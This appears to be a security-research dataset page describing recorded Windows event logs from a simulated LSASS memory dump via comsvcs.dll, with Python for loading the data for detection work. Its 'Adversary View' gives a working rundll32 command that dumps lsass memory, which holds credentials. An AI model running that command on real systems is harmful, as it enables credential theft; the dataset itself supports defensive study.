Lsass Memory Dump via Comsvcs.dll

Metadata

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/10/18

Modification Date

2020/10/18

Tactics

TA0006

Techniques

T1003.001

Tags

art.2536dee2-12fb-459a-8c37-971844fa73be

Dataset Description

This dataset represents adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.

Simulation Metadata

Tools

type

Name

Module

Manual

Powershell

Powershell

Adversary View

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

Explore Datasets

Download & Decompress Dataset

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/credential_access/host/psh_lsass_memory_dump_comsvcs.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events

df.groupby(['Channel']).size().sort_values(ascending=False)